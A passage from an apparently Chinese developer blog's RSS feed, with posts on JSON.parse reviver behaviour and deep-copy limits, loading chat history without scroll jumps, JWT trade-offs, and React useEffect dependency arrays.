<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span><span class="nx">a</span><span class="o">:</span><span class="k">new</span> <span class="nb">Function</span><span class="p">})</span>
</span></span><span class="line"><span class="cl"><span class="c1">// &#39;{}&#39;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">([</span><span class="k">new</span> <span class="nb">Function</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="c1">// &#39;[null]&#39;
</span></span></span></code></pre></div></li>
<li>函数、undefined 被<strong>单独转换</strong>时，会返回 undefined。
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="kd">function</span><span class="p">())</span> <span class="nx">or</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="kc">undefined</span><span class="p">).</span>
</span></span></code></pre></div></li>
<li>Date 日期调用了 toJSON() 将其转换为了 string 字符串（同 Date.toISOString()），因此会被当做字符串处理。</li>
<li>其他类型的对象，包括 Map/Set/WeakMap/WeakSet，仅会序列化可枚举的属性。</li>
</ol>
<h2 id="reviver的理解">reviver的理解</h2>
<h3 id="一个出乎我意料的例子">一个出乎我意料的例子</h3>
<p>粗略扫了遍文档，我以为我已经完全掌握了序列化和反序列化，但
<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse"  target="_blank" rel="noopener" >JSON.parse() - JavaScript | MDN</a>给了一个出乎我意料的例子:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">transformedObj1</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="s1">&#39;[1,5,{&#34;s&#34;:1}]&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="k">typeof</span> <span class="nx">value</span> <span class="o">===</span> <span class="s2">&#34;object&#34;</span> <span class="o">?</span> <span class="kc">undefined</span> <span class="o">:</span> <span class="nx">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">transformedObj1</span><span class="p">);</span> <span class="c1">// undefined
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">  <span class="c1">// const message = [1,2,3] 
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// console.log(typeof message) //object
</span></span></span></code></pre></div><p>按照我的理解，我以为最终结果会是<code>[1,5]</code>。看来自己还是图样，于是请教了ChatGPT老师。</p>
<h3 id="reviver函数的概念">reviver函数的概念</h3>
<ol>
<li>
<p>执行顺序
<code>JSON.parse</code> 解析 JSON 字符串时，<code>reviver</code> 函数会以深度优先的顺序处理每个键值对。即它会先解析嵌套的对象或数组中的值，然后再解析外层对象或数组。</p>
</li>
<li>
<p>key 和 value 的含义
key: 当前被处理的键（对于数组，key 是索引，最外层对象的 key 是空字符串 &ldquo;&quot;）。
value: 当前被处理的值，这个值可以是一个基本数据类型（如字符串、数字）或复杂的对象、数组。</p>
</li>
<li>
<p>可以通过以下例子来理解：</p>
</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">obj</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="s1">&#39;{&#34;a&#34;: 1, &#34;b&#34;: {&#34;c&#34;: 2, &#34;d&#34;: 3}, &#34;e&#34;: [4, 5]}&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="sb">`key: </span><span class="si">${</span><span class="nx">key</span><span class="si">}</span><span class="sb">, value: </span><span class="si">${</span><span class="nx">value</span><span class="si">}</span><span class="sb">`</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm">key: a, value: 1
</span></span></span><span class="line"><span class="cl"><span class="cm">key: c, value: 2
</span></span></span><span class="line"><span class="cl"><span class="cm">key: d, value: 3
</span></span></span><span class="line"><span class="cl"><span class="cm">key: b, value: [object Object]
</span></span></span><span class="line"><span class="cl"><span class="cm">key: 0, value: 4
</span></span></span><span class="line"><span class="cl"><span class="cm">key: 1, value: 5
</span></span></span><span class="line"><span class="cl"><span class="cm">key: e, value: 4,5
</span></span></span><span class="line"><span class="cl"><span class="cm">key: , value: [object Object]
</span></span></span><span class="line"><span class="cl"><span class="cm">*/</span>
</span></span></code></pre></div><h3 id="回到刚才的例子">回到刚才的例子</h3>
<p>理解了reviver回调函数，我就对刚才的例子没有疑问了。</p>
<p>reviver函数里的这段代码执行了五次，而最后的key为<code>&quot;&quot;</code>,value则为<code>[1,5,{&quot;s&quot;:1}]</code>。因为在 JavaScript 中，数组（Array）是 object 的一种特殊类型,因此最终结果是<code>undefined</code></p>
<p>而如果想要符合我一开始认为的结果，代码应该这样写：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">transformedObj1</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="s1">&#39;[1,5,{&#34;s&#34;:1}]&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">key</span><span class="p">,</span> <span class="nx">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span><span class="p">(</span><span class="nx">key</span><span class="o">!==</span><span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="k">typeof</span> <span class="nx">value</span> <span class="o">===</span> <span class="s2">&#34;object&#34;</span> <span class="o">?</span> <span class="kc">undefined</span> <span class="o">:</span> <span class="nx">value</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">else</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">value</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">transformedObj1</span><span class="p">);</span>
</span></span></code></pre></div><h2 id="jsonparsejsonstringifyobj">JSON.parse(JSON.stringify(obj))</h2>
<p>我第一次读到这行代码的时候还觉得奇怪，为什么要这样写，顺手就想改掉。想了下才意识到这是为了实现深拷贝。</p>
<h3 id="优点">优点</h3>
<ul>
<li>代码简单</li>
<li>JSON.stringify内部做了循环引用的检测，正是我们上面提到破解循环引用</li>
</ul>
<h3 id="局限性">局限性</h3>
<p>但这样写好吗？搜索后我发现有两篇文章将它的局限性写得很透彻了。</p>
<ul>
<li><a href="https://segmentfault.com/a/1190000018495737"  target="_blank" rel="noopener" >javascript - 关于JSON.parse()和JSON.stringify()的性能小测试 - 超级有温度的代码 - SegmentFault 思否</a></li>
<li><a href="https://segmentfault.com/a/1190000020297508"  target="_blank" rel="noopener" >javascript - 关于 JSON.parse(JSON.stringify(obj)) 实现深拷贝的一些坑 - 超级有温度的代码 - SegmentFault 思否</a></li>
</ul>
<p>我将其中的主要内容摘录如下：</p>
<ol>
<li>只适用于一般数据的拷贝(结合上文，可以发现这里的问题主要来自JSON.stringify对特殊情况的处理)</li>
</ol>
<blockquote>
<p>1.如果json里面有时间对象，则序列化结果：时间对象=&gt;字符串的形式；
2.如果json里有RegExp、Error对象，则序列化的结果将只得到空对象 RegExp、Error =&gt; {}；
3.如果json里有 function,undefined，则序列化的结果会把 function,undefined 丢失；
4.如果json里有NaN、Infinity和-Infinity，则序列化的结果会变成null；
5.如果json里有对象是由构造函数生成的，则序列化的结果会丢弃对象的 constructor；
6.如果对象中存在循环引用的情况也无法实现深拷贝</p>
</blockquote>
<ol start="2">
<li>性能问题：</li>
</ol>
<blockquote>
<p>能不用JSON.parse()和JSON.stringify()就不用，采用替代方案且性能更优的。PS：特别是需要多次执行的代码块或是这个JSON数据比较庞大时</p>
</blockquote>
<p>这里的第二点我深有体会，之前我便写过这样一段代码，它将一张100kb左右的图片转码为base64，塞进了json中，并序列化为字符串进行传输，接收端再将其反序列化后提取出来。后来重构代码时，这一段代码就成了提升性能的一大突破口。</p>
<h3 id="替代方案">替代方案</h3>
<p><a href="https://segmentfault.com/a/1190000016672263#item-1"  target="_blank" rel="noopener" >javascript - 深拷贝的终极探索（99%的人都不知道） - 颜海镜 - SegmentFault 思否</a></p>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse"  target="_blank" rel="noopener" >JSON.parse() - JavaScript | MDN</a></li>
<li><a href="https://segmentfault.com/a/1190000018495737"  target="_blank" rel="noopener" >javascript - 关于JSON.parse()和JSON.stringify()的性能小测试 - 超级有温度的代码 - SegmentFault 思否</a></li>
<li><a href="https://segmentfault.com/a/1190000020297508"  target="_blank" rel="noopener" >javascript - 关于 JSON.parse(JSON.stringify(obj)) 实现深拷贝的一些坑 - 超级有温度的代码 - SegmentFault 思否</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>拉取历史消息的实现</title>
      <link>https://euds.org/2024/implementation_of_pulling_historical_messages/</link>
      <pubDate>Tue, 20 Aug 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/implementation_of_pulling_historical_messages/</guid>
      <description>实现拉取历史消息时踩过的坑</description>
      <content:encoded><![CDATA[<h2 id="存在问题">存在问题</h2>
<p>聊天页有个功能需求：下拉加载历史记录。</p>
<p>这样的需求很自然，而且日常使用中也随处可见，但真正要自己去实现，还是遇到了不少问题。</p>
<p>一个基础的思路是：</p>
<ol>
<li>监听下拉操作，下拉结束后从后端获取历史记录并将其放进聊天记录数组</li>
<li>新获取的历史记录会将你刚刚看的信息挤下去，这时你要往上拉才能回到你刚刚看的信息。</li>
<li>虽然可以通过获取刚看的那条信息的位置，等历史记录拉取下来后再通过改变滚动条回到其原来的位置，但这样会让页面出现闪动，信息会先下去，然后再上来。</li>
</ol>
<hr>
<h2 id="intersectionobserver">IntersectionObserver</h2>
<ul>
<li><a href="https://mp.weixin.qq.com/s/vhpXEaumPp5VvR7Zt9jGkQ"  target="_blank" rel="noopener" >不到20行js实现高性能图片懒加载</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/IntersectionObserver"  target="_blank" rel="noopener" >IntersectionObserver - Web APIs | MDN</a></li>
<li><a href="https://medium.com/strise/making-use-of-observers-in-react-a29b1fd05fa7"  target="_blank" rel="noopener" >Making use of Observers in React. Ever needed to manipulate the DOM when… | by Jens Lind | Strise | Medium</a></li>
<li><a href="https://dev.to/hey_yogini/infinite-scrolling-in-react-with-intersection-observer-22fh"  target="_blank" rel="noopener" >Infinite scrolling in React with intersection observer - DEV Community</a></li>
</ul>
<hr>
<h2 id="滚动到对应位置">滚动到对应位置</h2>
<ul>
<li><a href="https://react.dev/learn/manipulating-the-dom-with-refs#how-to-manage-a-list-of-refs-using-a-ref-callback"  target="_blank" rel="noopener" >Manipulating the DOM with Refs – React</a></li>
</ul>
<hr>
<h2 id="overflow-anchor">overflow-anchor</h2>
<ul>
<li><a href="https://juejin.cn/post/7112349799373864996"  target="_blank" rel="noopener" >解决聊天页下拉加载历史记录，新获取的历史记录把刚看的信息挤下去的问题 - 掘金</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/overflow-anchor"  target="_blank" rel="noopener" >overflow-anchor - CSS: Cascading Style Sheets | MDN</a></li>
<li><a href="https://css-tricks.com/almanac/properties/o/overflow-anchor/"  target="_blank" rel="noopener" >Overflow-anchor | CSS-Tricks</a></li>
</ul>
<blockquote>
<p>Scroll Anchoring is a browser feature that attempts to prevent a common situation where you may scroll down a webpage before the DOM has fully loaded and, when it does, any elements that load above your current location push you further down the page.</p>
</blockquote>
<hr>
<h2 id="反向渲染">反向渲染</h2>
<p>这个设计很妙，但我没有使用。</p>
<p><a href="https://www.alloyteam.com/2020/04/14349/comment-page-1/#comments"  target="_blank" rel="noopener" >前端开发中聊天场景的体验优化 | AlloyTeam</a></p>
<hr>
<h2 id="计算并设置正确的滚动位置">计算并设置正确的滚动位置</h2>
<ul>
<li>
<p><a href="https://cloud.tencent.com/developer/article/2176884"  target="_blank" rel="noopener" >React中将一直增加消息的滚动框保持在当前浏览的位置-腾讯云开发者社区-腾讯云</a></p>
</li>
<li>
<p><a href="https://www.zhangxinxu.com/wordpress/2018/02/container-scroll-position-hold/"  target="_blank" rel="noopener" >小tips: 滚动容器尺寸变化子元素视觉上位置不变JS实现 « 张鑫旭-鑫空间-鑫生活</a></p>
</li>
</ul>
<hr>
<h2 id="位置不对">位置不对</h2>
<p>最终滚动到的位置和预期位置不对应。排查后发现是图片没有占位符导致的。</p>
<p>可参考<a href="https://www.shymean.com/article/%E5%89%8D%E7%AB%AF%E4%BD%93%E9%AA%8C%E4%BC%98%E5%8C%96%E4%B9%8B%E5%9B%BE%E7%89%87%E5%8A%A0%E8%BD%BD%E9%97%AA%E7%83%81"  target="_blank" rel="noopener" >前端体验优化之图片加载闪烁 | ShyMean</a></p>
]]></content:encoded>
    </item>
    
    <item>
      <title>进一步学习jwt</title>
      <link>https://euds.org/2024/learn_jwt/</link>
      <pubDate>Sun, 04 Aug 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/learn_jwt/</guid>
      <description>熟悉又陌生</description>
      <content:encoded><![CDATA[<h2 id="前言">前言</h2>
<p>JWT，我并不陌生。但如何去权衡其中利弊，根据不同需求去决定是否使用，如何使用，我还是一知半解，于是希望通过此篇来进一步学习</p>
<hr>
<h2 id="基于token的认证方式">基于token的认证方式</h2>
<ol>
<li>用户向服务器发送用户名和密码。</li>
<li>服务器将相关数据，比如用户 ID，认证有效期等信息签名后生成 token 返回给客户端。</li>
<li>客户端将 token 写入本地存储。</li>
<li>用户随后的每一次请求，都将 token 附加到 header 中。</li>
<li>服务端获取到用户请求的 header，拿到用户数据并且做签名校验，如果校验成功则说明数据没有被篡改，是有效的，确认 token 在有效期内，用户数据就是有效的。</li>
</ol>
<hr>
<h2 id="组成">组成</h2>
<ul>
<li>header</li>
<li>payload</li>
<li>signature</li>
</ul>
<hr>
<h2 id="存在的问题">存在的问题：</h2>
<ol>
<li>Token Expiration
<ul>
<li>Revoked Token Database                   |</li>
<li>Additional DB calls</li>
</ul>
</li>
<li>Token Revocation Problem
<ul>
<li>Inability to easily revoke tokens</li>
<li>Lack of real-time revocation</li>
</ul>
</li>
<li>Length of Tokens
<ul>
<li>Potential URL and cookie length issues</li>
<li>Sending large volumes of data</li>
</ul>
</li>
<li>Need for State Maintenance
<ul>
<li>Need to maintain user state</li>
<li>Limited statelessness</li>
</ul>
</li>
<li>Security and Encryption
<ul>
<li>Potential vulnerabilities</li>
<li>Lack of encryption for payload</li>
</ul>
</li>
</ol>
<hr>
<h2 id="使用时需要注意的点">使用时需要注意的点</h2>
<p>摘自 <a href="https://blog.fatedier.com/2020/03/28/golang-jwt/"  target="_blank" rel="noopener" >Golang 中使用 JWT 做用户认证</a></p>
<blockquote>
<ul>
<li>由于 jwt 返回的 Token 中的数据仅做了 Base64 处理，没有加密，所以不应放入重要的信息。</li>
<li>jwt Token 由于是无状态的，任何获取到此 Token 的人都可以访问，所以为了减少盗用，可以将 Token 有效期设置短一些。对一些重要的操作，尽量再次进行认证。</li>
<li>网站尽量使用 HTTPS，可以减少 Token 的泄漏。</li>
</ul>
</blockquote>
<h2 id="有办法使一个在有效期内的jwt废弃掉吗">有办法使一个在有效期内的JWT废弃掉吗</h2>
<p>wip</p>
<hr>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://mp.weixin.qq.com/s/Vcj3Jj0PANSnqXgt4CsF2Q"  target="_blank" rel="noopener" >决定放弃使用JWT了！</a></li>
<li><a href="https://www.51cto.com/article/624093.html"  target="_blank" rel="noopener" >『JWT』有人让你赶快用它，有人劝你放弃它-有人让我</a></li>
<li><a href="https://segmentfault.com/q/1010000010043871"  target="_blank" rel="noopener" >jwt - 在退出登录 / 修改密码时怎样实现JWT Token失效？ - SegmentFault 思否</a></li>
<li><a href="https://hasura.io/blog/best-practices-of-using-jwt-with-graphql"  target="_blank" rel="noopener" >The Ultimate Guide to handling JWTs on frontend clients (GraphQL)</a></li>
<li><a href="https://blog.fatedier.com/2020/03/28/golang-jwt/"  target="_blank" rel="noopener" >Golang 中使用 JWT 做用户认证</a></li>
<li><a href="https://juejin.cn/post/7238921098808475705"  target="_blank" rel="noopener" >JWT真的安全吗？如何解决该问题 - 掘金</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>进一步学习useEffect</title>
      <link>https://euds.org/2024/learn_useeffect/</link>
      <pubDate>Sun, 04 Aug 2024 15:34:14 +0800</pubDate>
      
      <guid>https://euds.org/2024/learn_useeffect/</guid>
      <description>再次学习useEffect;再次学习useEffect;</description>
      <content:encoded><![CDATA[<h2 id="原因">原因</h2>
<p>最近还是发现自己在使用useEffect时有疑惑，深感有必要进一步去学习useEffect的使用。</p>
<hr>
<h2 id="疑惑一">疑惑一</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="p">[</span><span class="nx">variable</span><span class="p">,</span><span class="nx">setVariable</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// 这样写有必要吗？
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">useEffect</span><span class="p">(</span><span class="nx">_</span> <span class="p">=&gt;{},[])</span>
</span></span></code></pre></div><ul>
<li>没必要，没意义</li>
</ul>
<hr>
<h2 id="疑惑二-依赖数组到底该写些啥">疑惑二: 依赖数组到底该写些啥</h2>
<h3 id="概念">概念:</h3>
<ul>
<li>依赖数组：用来告诉 React 这个 useEffect 何时应该运行。依赖数组中的每一项会被监控，当这些值发生变化时，副作用函数会重新运行。</li>
<li>依赖数组中的典型值
<ol>
<li>状态（state）：如果副作用依赖于某个 useState 的值，应该将其包含在依赖数组中。</li>
<li>props：当副作用依赖于某个 props，应该将其包含在依赖数组中。</li>
<li>函数或其他变量：如果副作用依赖于某个函数或者计算出来的变量，也应该包括在依赖数组中。</li>
</ol>
</li>
<li>依赖数组中尽量不要有<code>object</code>或<code>array</code>等引用变量</li>
</ul>
<h3 id="错误示范">错误示范:</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">ChatRoom</span><span class="p">({</span> <span class="nx">articleId</span> <span class="p">})</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">article</span><span class="p">,</span> <span class="nx">setArticle</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// options 會在每次渲染時重新創建
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">options</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">serverUrl</span><span class="o">:</span> <span class="s1">&#39;https://localhost:1234&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">articleId</span><span class="o">:</span> <span class="nx">articleId</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="nx">getArticle</span><span class="p">(</span><span class="nx">options</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setArticle</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// options 每次渲染時值都不同，因此觸發 useEffect 執行
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="p">},</span> <span class="p">[</span><span class="nx">options</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h3 id="正确示范">正确示范:</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">ChatRoom</span><span class="p">({</span> <span class="nx">articleId</span> <span class="p">})</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">[</span><span class="nx">article</span><span class="p">,</span> <span class="nx">setArticle</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="kc">null</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	  <span class="kr">const</span> <span class="nx">options</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">	    <span class="nx">serverUrl</span><span class="o">:</span> <span class="s1">&#39;https://localhost:1234&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">	    <span class="nx">articleId</span><span class="o">:</span> <span class="nx">articleId</span>
</span></span><span class="line"><span class="cl">	  <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="nx">getArticle</span><span class="p">(</span><span class="nx">options</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setArticle</span><span class="p">(</span><span class="nx">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="p">},</span> <span class="p">[</span><span class="nx">articleId</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h3 id="参考">参考</h3>
<ul>
<li><a href="https://betterprogramming.pub/stop-lying-to-react-about-missing-dependencies-10612e9aeeda"  target="_blank" rel="noopener" >Stop Lying to React About Missing Dependencies | by Jack Taylor | Better Programming</a></li>
<li><a href="https://juejin.cn/post/7327832105328574514"  target="_blank" rel="noopener" >&ldquo;React中useEffect的依赖数组：空数组与不写数组的区别&rdquo;- 掘金</a></li>
</ul>
<hr>
<h2 id="疑惑三-依赖数组为空和不传有区别吗">疑惑三: 依赖数组为空和不传有区别吗?</h2>
<h3 id="概念-1">概念</h3>
<ul>
<li>当依赖数组为空时（<code>[]</code>），useEffect中的回调函数<strong>只会在组件挂载和卸载时执行</strong>。这意味着它只会执行一次，类似于类组件中的<code>componentDidMount</code>和<code>componentWillUnmount</code>。</li>
<li>当<strong>不传入</strong>依赖数组时，useEffect中的回调函数会在每次组件渲染时都执行。这意味着它会在<strong>组件挂载、更新和卸载时</strong>都执行。</li>
</ul>
<h3 id="示例-依赖数组为空">示例: 依赖数组为空</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">//10秒内连续点击按钮5次，控制台的输出结果是什么
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setTimeout</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">count</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span> <span class="mi">10</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">},[])</span> 
</span></span><span class="line"><span class="cl">  <span class="c1">//控制台只会输出一个0
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">//因为count更新只是组件状态更新，而此时的useeffect只在组件加载和卸载时候执行只执行一次
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  
</span></span><span class="line"><span class="cl">   <span class="o">&lt;</span><span class="nx">button</span> <span class="nx">onClick</span><span class="o">=</span><span class="p">{()</span> <span class="p">=&gt;{</span><span class="nx">setCount</span><span class="p">(</span><span class="nx">count</span><span class="o">+</span><span class="mi">1</span><span class="p">)}}</span><span class="o">&gt;</span><span class="nx">点击count加1</span><span class="o">&lt;</span><span class="err">/button&gt;</span>
</span></span></code></pre></div><h3 id="示例-不传入依赖数组">示例: 不传入依赖数组</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">//10秒内连续点击按钮5次，控制台的输出结果是什么
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="p">[</span><span class="nx">count</span><span class="p">,</span> <span class="nx">setCount</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setTimeout</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">count</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span> <span class="mi">10</span> <span class="o">*</span> <span class="mi">1000</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">})</span> 
</span></span><span class="line"><span class="cl">  <span class="c1">//控制台只会输出0，1，2，3，4，5
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">//因为count更新，组件状态更新会重新渲染组件
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">//而此时的useeffect在组件更新渲染的时候都会执行
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">//所以会执行对应的点击次数
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">//在控制台中打印对应的次数
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  
</span></span><span class="line"><span class="cl">   <span class="o">&lt;</span><span class="nx">button</span> <span class="nx">onClick</span><span class="o">=</span><span class="p">{()</span> <span class="p">=&gt;{</span><span class="nx">setCount</span><span class="p">(</span><span class="nx">count</span><span class="o">+</span><span class="mi">1</span><span class="p">)}}</span><span class="o">&gt;</span><span class="nx">点击count加1</span><span class="o">&lt;</span><span class="err">/button&gt;</span>
</span></span></code></pre></div><h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/7327832105328574514"  target="_blank" rel="noopener" >&ldquo;React中useEffect的依赖数组：空数组与不写数组的区别&rdquo;- 掘金</a></li>
</ul>
<hr>
<h2 id="疑惑四-依赖数组是怎么比较的">疑惑四: 依赖数组是怎么比较的</h2>
<h3 id="概念-2">概念</h3>
<ul>
<li>使用<code>Object.is</code>来进行比较,如果依赖数组中任意一值与前一次不用，就会重新执行</li>
<li><code>Object.is</code>和<code>===</code>的唯一区别在于它们处理带符号的 0 和 NaN 值的时候。=== 运算符（和 == 运算符）将数值 -0 和 +0 视为相等，但是会将 NaN 视为彼此不相等。</li>
<li><code>===</code> 不执行类型转换。它将验证被比较的变量是否具有相同的值和相同的类型。</li>
</ul>
<h3 id="实现usedeepcompareeffect">实现<code>useDeepCompareEffect</code></h3>
<ul>
<li>先用useRef取得前一次的值，然后再调用深比较函数对比前后的值</li>
<li>代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">useRef</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;react&#39;</span><span class="p">;</span>
